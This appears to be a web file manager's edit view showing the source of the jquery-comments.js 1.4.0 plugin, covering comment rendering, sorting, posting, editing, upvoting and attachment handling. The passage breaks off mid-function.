Файловый менеджер - Редактировать - /home/kckglobal/.trash/assets/plugins/jquery-comments/js/jquery-comments.js
Назад
/*! jquery-comments.js 1.4.0 * * (c) 2017 Joona Tykkyläinen, Viima Solutions Oy * jquery-comments may be freely distributed under the MIT license. * For all details and documentation: * http://viima.github.io/jquery-comments/ */ (function (factory) { if (typeof define === 'function' && define.amd) { // AMD. Register as an anonymous module. define(['jquery'], factory); } else if (typeof module === 'object' && module.exports) { // Node/CommonJS module.exports = function(root, jQuery) { if (jQuery === undefined) { // require('jQuery') returns a factory that requires window to // build a jQuery instance, we normalize how we use modules // that require this pattern but the window provided is a noop // if it's defined (how jquery works) if (typeof window !== 'undefined') { jQuery = require('jquery'); } else { jQuery = require('jquery')(root); } } factory(jQuery); return jQuery; }; } else { // Browser globals factory(jQuery); } }(function($) { var Comments = { // Instance variables // ================== $el: null, commentsById: {}, dataFetched: false, currentSortKey: '', options: {}, events: { // Close dropdowns 'click': 'closeDropdowns', // Save comment on keydown 'keydown [contenteditable]' : 'saveOnKeydown', // Listening changes in contenteditable fields (due to input event not working with IE) 'focus [contenteditable]' : 'saveEditableContent', 'keyup [contenteditable]' : 'checkEditableContentForChange', 'paste [contenteditable]' : 'checkEditableContentForChange', 'input [contenteditable]' : 'checkEditableContentForChange', 'blur [contenteditable]' : 'checkEditableContentForChange', // Navigation 'click .navigation li[data-sort-key]' : 'navigationElementClicked', 'click .navigation li.title' : 'toggleNavigationDropdown', // Main comenting field 'click .commenting-field.main .textarea': 'showMainCommentingField', 'click .commenting-field.main .close' : 'hideMainCommentingField', // All commenting fields 'click .commenting-field .textarea' : 'increaseTextareaHeight', 'change .commenting-field .textarea' : 'increaseTextareaHeight textareaContentChanged', 'click .commenting-field:not(.main) .close' : 'removeCommentingField', // Edit mode actions 'click .commenting-field .send.enabled' : 'postComment', 'click .commenting-field .update.enabled' : 'putComment', 'click .commenting-field .delete.enabled' : 'deleteComment', 'change .commenting-field .upload.enabled input[type="file"]' : 'fileInputChanged', // Other actions 'click li.comment button.upvote' : 'upvoteComment', 'click li.comment button.delete.enabled' : 'deleteComment', 'click li.comment .hashtag' : 'hashtagClicked', 'click li.comment .ping' : 'pingClicked', // Other 'click li.comment ul.child-comments .toggle-all': 'toggleReplies', 'click li.comment button.reply': 'replyButtonClicked', 'click li.comment button.edit': 'editButtonClicked', // Drag & dropping attachments 'dragenter' : 'showDroppableOverlay', 'dragenter .droppable-overlay' : 'handleDragEnter', 'dragleave .droppable-overlay' : 'handleDragLeaveForOverlay', 'dragenter .droppable-overlay .droppable' : 'handleDragEnter', 'dragleave .droppable-overlay .droppable' : 'handleDragLeaveForDroppable', 'dragover .droppable-overlay' : 'handleDragOverForOverlay', 'drop .droppable-overlay' : 'handleDrop', // Prevent propagating the click event into buttons under the autocomplete dropdown 'click .dropdown.autocomplete': 'stopPropagation', 'mousedown .dropdown.autocomplete': 'stopPropagation', 'touchstart .dropdown.autocomplete': 'stopPropagation', }, // Default options // =============== getDefaultOptions: function() { return { // User profilePictureURL: '', currentUserIsAdmin: false, currentUserId: null, // Font awesome icon overrides spinnerIconURL: '', upvoteIconURL: '', replyIconURL: '', uploadIconURL: '', attachmentIconURL: '', fileIconURL: '', noCommentsIconURL: '', // Strings to be formatted (for example localization) textareaPlaceholderText: 'Add a comment', newestText: 'Newest', oldestText: 'Oldest', popularText: 'Popular', attachmentsText: 'Attachments', sendText: 'Send', replyText: 'Reply', editText: 'Edit', editedText: 'Edited', youText: 'You', saveText: 'Save', deleteText: 'Delete', newText: 'New', viewAllRepliesText: 'View all __replyCount__ replies', hideRepliesText: 'Hide replies', noCommentsText: 'No comments', noAttachmentsText: 'No attachments', attachmentDropText: 'Drop files here', textFormatter: function(text) {return text}, // Functionalities enableReplying: true, enableEditing: true, enableUpvoting: true, enableDeleting: true, enableAttachments: false, enableHashtags: false, enablePinging: false, enableDeletingCommentWithReplies: false, enableNavigation: true, postCommentOnEnter: false, forceResponsive: false, readOnly: false, defaultNavigationSortKey: 'newest', // Colors highlightColor: '#2793e6', deleteButtonColor: '#C9302C', scrollContainer: this.$el, roundProfilePictures: false, textareaRows: 2, textareaRowsOnFocus: 2, textareaMaxRows: 5, maxRepliesVisible: 2, // wysiwyg-editor interface wysiwyg_editor: { opts: { // Whether an external editor is being used. enable: false, // Indicates whether comments will be displayed with plain text or rendered as html. is_html: true }, // Initializes a new instance of the html editor. init: function (textarea, html) {}, // jquery object within which the editor will be rendered. get_container: function(textarea) {}, // Object that returns the html content of the edit (html text). get_contents: function(editor) {}, // Call of events. on_post_comment: function(editor, evt, status) {}, on_put_comment: function(editor, evt, status) {}, on_close_button: function (editor, evt) {} }, fieldMappings: { id: 'id', parent: 'parent', created: 'created', modified: 'modified', content: 'content', file: 'file', fileURL: 'file_url', fileMimeType: 'file_mime_type', pings: 'pings', creator: 'creator', fullname: 'fullname', profileURL: 'profile_url', profilePictureURL: 'profile_picture_url', isNew: 'is_new', createdByAdmin: 'created_by_admin', createdByCurrentUser: 'created_by_current_user', upvoteCount: 'upvote_count', userHasUpvoted: 'user_has_upvoted' }, searchUsers: function(term, success, error) {success([])}, getComments: function(success, error) {success([])}, postComment: function(commentJSON, success, error) {success(commentJSON)}, putComment: function(commentJSON, success, error) {success(commentJSON)}, deleteComment: function(commentJSON, success, error) {success()}, upvoteComment: function(commentJSON, success, error) {success(commentJSON)}, hashtagClicked: function(hashtag) {}, pingClicked: function(userId) {}, uploadAttachments: function(commentArray, success, error) {success(commentArray)}, refresh: function() {}, timeFormatter: function(time) {return new Date(time).toLocaleDateString()} } }, // Initialization // ============== init: function(options, el) { this.$el = $(el); this.$el.addClass('jquery-comments'); this.undelegateEvents(); this.delegateEvents(); // Detect mobile devices (function(a){(jQuery.browser=jQuery.browser||{}).mobile=/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))})(navigator.userAgent||navigator.vendor||window.opera); if($.browser.mobile) this.$el.addClass('mobile'); // Init options this.options = $.extend(true, {}, this.getDefaultOptions(), options); // Read-only mode if(this.options.readOnly) this.$el.addClass('read-only'); // Set initial sort key this.currentSortKey = this.options.defaultNavigationSortKey; // Create CSS declarations for highlight color this.createCssDeclarations(); // Fetching data and rendering this.fetchDataAndRender(); }, delegateEvents: function() { this.bindEvents(false); }, undelegateEvents: function() { this.bindEvents(true); }, bindEvents: function(unbind) { var bindFunction = unbind ? 'off' : 'on'; for (var key in this.events) { var eventName = key.split(' ')[0]; var selector = key.split(' ').slice(1).join(' '); var methodNames = this.events[key].split(' '); for(var index in methodNames) { if(methodNames.hasOwnProperty(index)) { var method = this[methodNames[index]]; // Keep the context method = $.proxy(method, this); if (selector == '') { this.$el[bindFunction](eventName, method); } else { this.$el[bindFunction](eventName, selector, method); } } } } }, // Basic functionalities // ===================== fetchDataAndRender: function () { var self = this; this.commentsById = {}; this.$el.empty(); this.createHTML(); // Comments // ======== this.options.getComments(function(commentsArray) { // Convert comments to custom data model var commentModels = commentsArray.map(function(commentsJSON){ return self.createCommentModel(commentsJSON) }); // Sort comments by date (oldest first so that they can be appended to the data model // without caring dependencies) self.sortComments(commentModels, 'oldest'); $(commentModels).each(function(index, commentModel) { self.addCommentToDataModel(commentModel); }); // Mark data as fetched self.dataFetched = true; // Render self.render(); }); }, fetchNext: function() { var self = this; // Loading indicator var spinner = this.createSpinner(); this.$el.find('ul#comment-list').append(spinner); var success = function (commentModels) { $(commentModels).each(function(index, commentModel) { self.createComment(commentModel); }); spinner.remove(); } var error = function() { spinner.remove(); } this.options.getComments(success, error); }, createCommentModel: function(commentJSON) { var commentModel = this.applyInternalMappings(commentJSON); commentModel.childs = []; return commentModel; }, addCommentToDataModel: function(commentModel) { if(!(commentModel.id in this.commentsById)) { this.commentsById[commentModel.id] = commentModel; // Update child array of the parent (append childs to the array of outer most parent) if(commentModel.parent) { var outermostParent = this.getOutermostParent(commentModel.parent); outermostParent.childs.push(commentModel.id); } } }, updateCommentModel: function(commentModel) { $.extend(this.commentsById[commentModel.id], commentModel); }, render: function() { var self = this; // Prevent re-rendering if data hasn't been fetched if(!this.dataFetched) return; // Show active container this.showActiveContainer(); // Create comments this.createComments(); // Create attachments if enabled if(this.options.enableAttachments) this.createAttachments(); // Remove spinner this.$el.find('> .spinner').remove(); this.options.refresh(); }, showActiveContainer: function() { var activeNavigationEl = this.$el.find('.navigation li[data-container-name].active'); var containerName = activeNavigationEl.data('container-name'); var containerEl = this.$el.find('[data-container="' + containerName + '"]'); containerEl.siblings('[data-container]').hide(); containerEl.show(); }, createComments: function() { var self = this; // Create the list element before appending to DOM in order to reach better performance this.$el.find('#comment-list').remove(); var commentList = $('<ul/>', { id: 'comment-list', 'class': 'main' }); // Divide commments into main level comments and replies var mainLevelComments = []; var replies = []; $(this.getComments()).each(function(index, commentModel) { if(commentModel.parent == null) { mainLevelComments.push(commentModel); } else { replies.push(commentModel); } }); // Append main level comments this.sortComments(mainLevelComments, this.currentSortKey); mainLevelComments.reverse(); // Reverse the order as they are prepended to DOM $(mainLevelComments).each(function(index, commentModel) { self.addComment(commentModel, commentList); }); // Append replies in chronological order this.sortComments(replies, 'oldest'); $(replies).each(function(index, commentModel) { self.addComment(commentModel, commentList); }); // Appned list to DOM this.$el.find('[data-container="comments"]').prepend(commentList); }, createAttachments: function() { var self = this; // Create the list element before appending to DOM in order to reach better performance this.$el.find('#attachment-list').remove(); var attachmentList = $('<ul/>', { id: 'attachment-list', 'class': 'main' }); var attachments = this.getAttachments(); this.sortComments(attachments, 'newest'); attachments.reverse(); // Reverse the order as they are prepended to DOM $(attachments).each(function(index, commentModel) { self.addAttachment(commentModel, attachmentList); }); // Appned list to DOM this.$el.find('[data-container="attachments"]').prepend(attachmentList); }, addComment: function(commentModel, commentList) { commentList = commentList || this.$el.find('#comment-list'); var commentEl = this.createCommentElement(commentModel); // Case: reply if(commentModel.parent) { var directParentEl = commentList.find('.comment[data-id="'+commentModel.parent+'"]'); // Re-render action bar of direct parent element this.reRenderCommentActionBar(commentModel.parent); // Force replies into one level only var outerMostParent = directParentEl.parents('.comment').last(); if(outerMostParent.length == 0) outerMostParent = directParentEl; // Append element to DOM var childCommentsEl = outerMostParent.find('.child-comments'); var commentingField = childCommentsEl.find('.commenting-field'); if(commentingField.length) { commentingField.before(commentEl) } else { childCommentsEl.append(commentEl); } // Update toggle all -button this.updateToggleAllButton(outerMostParent); // Case: main level comment } else { if(this.currentSortKey == 'newest') { commentList.prepend(commentEl); } else { commentList.append(commentEl); } } }, addAttachment: function(commentModel, commentList) { commentList = commentList || this.$el.find('#attachment-list'); var commentEl = this.createCommentElement(commentModel); commentList.prepend(commentEl); }, removeComment: function(commentId) { var self = this; var commentModel = this.commentsById[commentId]; // Remove child comments recursively var childComments = this.getChildComments(commentModel.id); $(childComments).each(function(index, childComment) { self.removeComment(childComment.id); }); // Update the child array of outermost parent if(commentModel.parent) { var outermostParent = this.getOutermostParent(commentModel.parent); var indexToRemove = outermostParent.childs.indexOf(commentModel.id); outermostParent.childs.splice(indexToRemove, 1); } // Remove the comment from data model delete this.commentsById[commentId]; var commentElements = this.$el.find('li.comment[data-id="'+commentId+'"]'); var parentEl = commentElements.parents('li.comment').last(); // Remove the element commentElements.remove(); // Update the toggle all button this.updateToggleAllButton(parentEl); }, uploadAttachments: function(files, commentingField) { var self = this; if(!commentingField) commentingField = this.$el.find('.commenting-field.main'); var uploadButton = commentingField.find('.upload'); var isReply = !commentingField.hasClass('main'); var fileCount = files.length; if(fileCount) { var textarea = commentingField.find('.textarea'); // Disable upload button and append spinners while request is pending uploadButton.removeClass('enabled'); var attachmentListSpinner = this.createSpinner(); var commentListSpinner = this.createSpinner(); this.$el.find('ul#attachment-list').prepend(attachmentListSpinner); if(isReply) { commentingField.before(commentListSpinner); } else { this.$el.find('ul#comment-list').prepend(commentListSpinner); } var success = function(commentArray) { $(commentArray).each(function(index, commentJSON) { var commentModel = self.createCommentModel(commentJSON); self.addCommentToDataModel(commentModel); self.addComment(commentModel); self.addAttachment(commentModel); }); // Close the commenting field if all the uploads were successfull // and there's no content besides the attachment if(commentArray.length == fileCount && self.getTextareaContent(textarea).length == 0) { commentingField.find('.close').trigger('click'); } // Enable upload button and remove spinners uploadButton.addClass('enabled'); commentListSpinner.remove(); attachmentListSpinner.remove(); }; var error = function() { // Enable upload button and remove spinners uploadButton.addClass('enabled'); commentListSpinner.remove(); attachmentListSpinner.remove(); }; var commentArray = []; $(files).each(function(index, file) { // Create comment JSON var commentJSON = self.createCommentJSON(textarea); commentJSON.id += '-' + index; commentJSON.content = ''; commentJSON.file = file; commentJSON.fileURL = 'C:/fakepath/' + file.name; commentJSON.fileMimeType = file.type; // Reverse mapping commentJSON = self.applyExternalMappings(commentJSON); commentArray.push(commentJSON); }); self.options.uploadAttachments(commentArray, success, error); } // Clear the input field uploadButton.find('input').val(''); }, updateToggleAllButton: function(parentEl) { // Don't hide replies if maxRepliesVisible is null or undefined if (this.options.maxRepliesVisible == null) return; var childCommentsEl = parentEl.find('.child-comments'); var childComments = childCommentsEl.find('.comment').not('.hidden'); var toggleAllButton = childCommentsEl.find('li.toggle-all'); childComments.removeClass('togglable-reply'); // Select replies to be hidden if (this.options.maxRepliesVisible === 0) { var togglableReplies = childComments; } else { var togglableReplies = childComments.slice(0, -this.options.maxRepliesVisible); } // Add identifying class for hidden replies so they can be toggled togglableReplies.addClass('togglable-reply'); // Show all replies if replies are expanded if(toggleAllButton.find('span.text').text() == this.options.textFormatter(this.options.hideRepliesText)) { togglableReplies.addClass('visible'); } // Make sure that toggle all button is present if(childComments.length > this.options.maxRepliesVisible) { // Append button to toggle all replies if necessary if(!toggleAllButton.length) { toggleAllButton = $('<li/>', { 'class': 'toggle-all highlight-font-bold' }); var toggleAllButtonText = $('<span/>', { 'class': 'text' }); var caret = $('<span/>', { 'class': 'caret' }); // Append toggle button to DOM toggleAllButton.append(toggleAllButtonText).append(caret); childCommentsEl.prepend(toggleAllButton); } // Update the text of toggle all -button this.setToggleAllButtonText(toggleAllButton, false); // Make sure that toggle all button is not present } else { toggleAllButton.remove(); } }, updateToggleAllButtons: function() { var self = this; var commentList = this.$el.find('#comment-list'); // Fold comments, find first level children and update toggle buttons commentList.find('.comment').removeClass('visible'); commentList.children('.comment').each(function(index, el) { self.updateToggleAllButton($(el)); }); }, sortComments: function (comments, sortKey) { var self = this; // Sort by popularity if(sortKey == 'popularity') { comments.sort(function(commentA, commentB) { var pointsOfA = commentA.childs.length; var pointsOfB = commentB.childs.length; if(self.options.enableUpvoting) { pointsOfA += commentA.upvoteCount; pointsOfB += commentB.upvoteCount; } if(pointsOfB != pointsOfA) { return pointsOfB - pointsOfA; } else { // Return newer if popularity is the same var createdA = new Date(commentA.created).getTime(); var createdB = new Date(commentB.created).getTime(); return createdB - createdA; } }); // Sort by date } else { comments.sort(function(commentA, commentB) { var createdA = new Date(commentA.created).getTime(); var createdB = new Date(commentB.created).getTime(); if(sortKey == 'oldest') { return createdA - createdB; } else { return createdB - createdA; } }); } }, sortAndReArrangeComments: function(sortKey) { var commentList = this.$el.find('#comment-list'); // Get main level comments var mainLevelComments = this.getComments().filter(function(commentModel){return !commentModel.parent}); this.sortComments(mainLevelComments, sortKey); // Rearrange the main level comments $(mainLevelComments).each(function(index, commentModel) { var commentEl = commentList.find('> li.comment[data-id='+commentModel.id+']'); commentList.append(commentEl); }); }, showActiveSort: function() { var activeElements = this.$el.find('.navigation li[data-sort-key="' + this.currentSortKey + '"]'); // Indicate active sort this.$el.find('.navigation li').removeClass('active'); activeElements.addClass('active'); // Update title for dropdown var titleEl = this.$el.find('.navigation .title'); if(this.currentSortKey != 'attachments') { titleEl.addClass('active'); titleEl.find('header').html(activeElements.first().html()); } else { var defaultDropdownEl = this.$el.find('.navigation ul.dropdown').children().first(); titleEl.find('header').html(defaultDropdownEl.html()); } // Show active container this.showActiveContainer(); }, forceResponsive: function() { this.$el.addClass('responsive'); }, // Event handlers // ============== closeDropdowns: function() { this.$el.find('.dropdown').hide(); }, saveOnKeydown: function(ev) { // Save comment on cmd/ctrl + enter if(ev.keyCode == 13) { var metaKey = ev.metaKey || ev.ctrlKey; if(this.options.postCommentOnEnter || metaKey) { var el = $(ev.currentTarget); el.siblings('.control-row').find('.save').trigger('click'); ev.stopPropagation(); ev.preventDefault(); } } }, saveEditableContent: function(ev) { var el = $(ev.currentTarget); el.data('before', el.html()); }, checkEditableContentForChange: function(ev) { var el = $(ev.currentTarget); // Fix jquery-textcomplete on IE, empty text nodes will break up the autocomplete feature $(el[0].childNodes).each(function() { if(this.nodeType == Node.TEXT_NODE && this.length == 0 && this.removeNode) this.removeNode(); }); if (el.data('before') != el.html()) { el.data('before', el.html()); el.trigger('change'); } }, navigationElementClicked: function(ev) { var navigationEl = $(ev.currentTarget); var sortKey = navigationEl.data().sortKey; // Sort the comments if necessary if(sortKey != 'attachments') { this.sortAndReArrangeComments(sortKey); } // Save the current sort key this.currentSortKey = sortKey; this.showActiveSort(); }, toggleNavigationDropdown: function(ev) { // Prevent closing immediately ev.stopPropagation(); var dropdown = $(ev.currentTarget).find('~ .dropdown'); dropdown.toggle(); }, showMainCommentingField: function(ev) { var mainTextarea = $(ev.currentTarget); mainTextarea.siblings('.control-row').show(); mainTextarea.parent().find('.close').show(); mainTextarea.parent().find('.upload.inline-button').hide(); mainTextarea.focus(); }, hideMainCommentingField: function(ev) { var closeButton = $(ev.currentTarget); var mainTextarea = this.$el.find('.commenting-field.main .textarea'); var mainControlRow = this.$el.find('.commenting-field.main .control-row'); var wysiwyg_editor = mainTextarea.data('wysiwyg_editor'); if (wysiwyg_editor && this.options.wysiwyg_editor.opts.enable) { this.options.wysiwyg_editor.on_close_button(wysiwyg_editor, ev); } this.clearTextarea(mainTextarea); this.adjustTextareaHeight(mainTextarea, false); mainControlRow.hide(); closeButton.hide(); mainTextarea.parent().find('.upload.inline-button').show(); mainTextarea.blur(); }, increaseTextareaHeight: function(ev) { var textarea = $(ev.currentTarget); this.adjustTextareaHeight(textarea, true); }, textareaContentChanged: function(ev) { var textarea = $(ev.currentTarget); var wysiwyg_editor = textarea.data('wysiwyg_editor'); var saveButton = textarea.siblings('.control-row').find('.save'); // Update parent id if reply-to tag was removed if(!textarea.find('.reply-to.tag').length) { var commentId = textarea.attr('data-comment'); // Case: editing comment if(commentId) { var parentComments = textarea.parents('li.comment'); if(parentComments.length > 1) { var parentId = parentComments.last().data('id'); textarea.attr('data-parent', parentId); } // Case: new comment } else { var parentId = textarea.parents('li.comment').last().data('id'); textarea.attr('data-parent', parentId); } } // Move close button if scrollbar is visible var commentingField = textarea.parents('.commenting-field').first(); if(textarea[0].scrollHeight > textarea.outerHeight()) { commentingField.addClass('commenting-field-scrollable'); } else { commentingField.removeClass('commenting-field-scrollable'); } // Check if content or parent has changed if editing var contentOrParentChangedIfEditing = true; var content; if (wysiwyg_editor && this.options.wysiwyg_editor.opts.enable) { content = this.options.wysiwyg_editor.get_contents(wysiwyg_editor); } else { content = this.getTextareaContent(textarea, true); } if(commentModel = this.commentsById[textarea.attr('data-comment')]) { var contentChanged = content != commentModel.content; var parentFromModel; if(commentModel.parent) { parentFromModel = commentModel.parent.toString(); } var parentChanged = textarea.attr('data-parent') != parentFromModel; contentOrParentChangedIfEditing = contentChanged || parentChanged; } // Check whether save button needs to be enabled if(content.length && contentOrParentChangedIfEditing) { saveButton.addClass('enabled'); } else { saveButton.removeClass('enabled'); } }, removeCommentingField: function(ev) { var closeButton = $(ev.currentTarget); // Remove edit class from comment if user was editing the comment var textarea = closeButton.siblings('.textarea'); if(textarea.attr('data-comment')) { closeButton.parents('li.comment').first().removeClass('edit'); } // Remove the field var commentingField = closeButton.parents('.commenting-field').first(); commentingField.remove(); }, postComment: function(ev) { var self = this; var sendButton = $(ev.currentTarget); var commentingField = sendButton.parents('.commenting-field').first(); var textarea = commentingField.find('.textarea'); var wysiwyg_editor = textarea.data('wysiwyg_editor'); // Disable send button while request is pending sendButton.removeClass('enabled'); // Create comment JSON var commentJSON = this.createCommentJSON(textarea); // Reverse mapping commentJSON = this.applyExternalMappings(commentJSON); // Notify event to external editor var editor_event_post_comment = function (status) { if (wysiwyg_editor && self.options.wysiwyg_editor.opts.enable) { self.options.wysiwyg_editor.on_post_comment(wysiwyg_editor, ev, status); } }; var success = function(commentJSON) { editor_event_post_comment('success'); self.createComment(commentJSON); commentingField.find('.close').trigger('click'); }; var error = function() { editor_event_post_comment('error'); sendButton.addClass('enabled'); }; this.options.postComment(commentJSON, success, error); editor_event_post_comment(); }, createComment: function(commentJSON) { var commentModel = this.createCommentModel(commentJSON); this.addCommentToDataModel(commentModel); this.addComment(commentModel); }, putComment: function(ev) { var self = this; var saveButton = $(ev.currentTarget); var commentingField = saveButton.parents('.commenting-field').first(); var textarea = commentingField.find('.textarea'); var wysiwyg_editor = textarea.data('wysiwyg_editor'); // Disable send button while request is pending saveButton.removeClass('enabled'); // Use a clone of the existing model and update the model after succesfull update var commentJSON = $.extend({}, this.commentsById[textarea.attr('data-comment')]); $.extend(commentJSON, { parent: textarea.attr('data-parent') || null, content: this.getTextareaContent(textarea), pings: this.getPings(textarea), modified: new Date().getTime() }); // Reverse mapping commentJSON = this.applyExternalMappings(commentJSON); // Notify event to external editor var editor_event_put_comment = function (status) { if (wysiwyg_editor && self.options.wysiwyg_editor.opts.enable) { self.options.wysiwyg_editor.on_put_comment(wysiwyg_editor, ev, status); } }; var success = function(commentJSON) { editor_event_put_comment('success'); // The outermost parent can not be changed by editing the comment so the childs array // of parent does not require an update var commentModel = self.createCommentModel(commentJSON); // Delete childs array from new comment model since it doesn't need an update delete commentModel['childs']; self.updateCommentModel(commentModel); // Close the editing field commentingField.find('.close').trigger('click'); // Re-render the comment self.reRenderComment(commentModel.id); }; var error = function() { editor_event_put_comment('error'); saveButton.addClass('enabled'); }; this.options.putComment(commentJSON, success, error); // Notify event to external editor editor_event_put_comment(); }, deleteComment: function(ev) { var self = this; var deleteButton = $(ev.currentTarget); var commentEl = deleteButton.parents('.comment').first(); var commentJSON = $.extend({}, this.commentsById[commentEl.attr('data-id')]); var commentId = commentJSON.id; var parentId = commentJSON.parent; // Disable send button while request is pending deleteButton.removeClass('enabled'); // Reverse mapping commentJSON = this.applyExternalMappings(commentJSON); var success = function() { self.removeComment(commentId); if(parentId) self.reRenderCommentActionBar(parentId); }; var error = function() { deleteButton.addClass('enabled'); }; this.options.deleteComment(commentJSON, success, error); }, hashtagClicked: function(ev) { var el = $(ev.currentTarget); var value = el.attr('data-value'); this.options.hashtagClicked(value); }, pingClicked: function(ev) { var el = $(ev.currentTarget); var value = el.attr('data-value'); this.options.pingClicked(value); }, fileInputChanged: function(ev, files) { var files = ev.currentTarget.files; var commentingField = $(ev.currentTarget).parents('.commenting-field').first(); this.uploadAttachments(files, commentingField); }, upvoteComment: function(ev) { var self = this; var commentEl = $(ev.currentTarget).parents('li.comment').first(); var commentModel = commentEl.data().model; // Check whether user upvoted the comment or revoked the upvote var previousUpvoteCount = commentModel.upvoteCount; var newUpvoteCount; if(commentModel.userHasUpvoted) { newUpvoteCount = previousUpvoteCount - 1; } else { newUpvoteCount = previousUpvoteCount + 1; } // Show changes immediately commentModel.userHasUpvoted = !commentModel.userHasUpvoted; commentModel.upvoteCount = newUpvoteCount; this.reRenderUpvotes(commentModel.id); // Reverse mapping var commentJSON = $.extend({}, commentModel); commentJSON = this.applyExternalMappings(commentJSON); var success = function(commentJSON) { var commentModel = self.createCommentModel(commentJSON); self.updateCommentModel(commentModel); self.reRenderUpvotes(commentModel.id); }; var error = function() { // Revert changes commentModel.userHasUpvoted = !commentModel.userHasUpvoted; commentModel.upvoteCount = previousUpvoteCount; self.reRenderUpvotes(commentModel.id); }; this.options.upvoteComment(commentJSON, success, error); }, toggleReplies: function(ev) { var el = $(ev.currentTarget); el.siblings('.togglable-reply').toggleClass('visible'); this.setToggleAllButtonText(el, true); }, replyButtonClicked: function(ev) { var replyButton = $(ev.currentTarget); var outermostParent = replyButton.parents('li.comment').last(); var parentId = replyButton.parents('.comment').first().data().id; // Remove existing field var replyField = outermostParent.find('.child-comments > .commenting-field'); if(replyField.length) replyField.remove(); var previousParentId = replyField.find('.textarea').attr('data-parent'); // Create the reply field (do not re-create) if(previousParentId != parentId) { replyField = this.createCommentingFieldElement(parentId); outermostParent.find('.child-comments').append(replyField); // Move cursor to end var textarea = replyField.find('.textarea'); // starts new editor instance (before cursor change). // textarea saves the reference to the editor that will be used later. if (this.options.wysiwyg_editor.opts.enable) { textarea.data('wysiwyg_editor', this.options.wysiwyg_editor.init(textarea)); } this.moveCursorToEnd(textarea); // Make sure the reply field will be displayed var scrollTop = this.options.scrollContainer.scrollTop(); var endOfReply = scrollTop + replyField.position().top + replyField.outerHeight(); var endOfScrollable = scrollTop + this.options.scrollContainer.outerHeight(); if(endOfReply > endOfScrollable) { var newScrollTop = scrollTop + (endOfReply - endOfScrollable); this.options.scrollContainer.scrollTop(newScrollTop); } } }, editButtonClicked: function(ev) { var editButton = $(ev.currentTarget); var commentEl = editButton.parents('li.comment').first(); var commentModel = commentEl.data().model; commentEl.addClass('edit'); // Create the editing field var editField = this.createCommentingFieldElement(commentModel.parent, commentModel.id); commentEl.find('.comment-wrapper').first().append(editField); // Append original content var textarea = editField.find('.textarea'); textarea.attr('data-comment', commentModel.id); // Escaping HTML textarea.append(this.getFormattedCommentContent(commentModel, true)); // starts new editor instance. // textarea saves the reference to the editor that will be used later. // In this case the editor starts with the content of the model (raw text). if (this.options.wysiwyg_editor.opts.enable) { textarea.data('wysiwyg_editor', this.options.wysiwyg_editor.init( textarea, commentModel.content )); } // Move cursor to end this.moveCursorToEnd(textarea); }, showDroppableOverlay: function(ev) { if(this.options.enableAttachments) { this.$el.find('.droppable-overlay').css('top', this.$el[0].scrollTop); this.$el.find('.droppable-overlay').show(); this.$el.addClass('drag-ongoing'); } }, handleDragEnter: function(ev) { var count = $(ev.currentTarget).data('dnd-count') || 0; count++; $(ev.currentTarget).data('dnd-count', count); $(ev.currentTarget).addClass('drag-over'); }, handleDragLeave: function(ev, callback) { var count = $(ev.currentTarget).data('dnd-count'); count--; $(ev.currentTarget).data('dnd-count', count); if(count == 0) { $(ev.currentTarget).removeClass('drag-over'); if(callback) callback(); } }, handleDragLeaveForOverlay: function(ev) { var self = this; this.handleDragLeave(ev, function() { self.hideDroppableOverlay(); }); }, handleDragLeaveForDroppable: function(ev) { this.handleDragLeave(ev); }, handleDragOverForOverlay: function(ev) { ev.stopPropagation(); ev.preventDefault(); ev.originalEvent.dataTransfer.dropEffect = 'copy'; }, hideDroppableOverlay: function() { 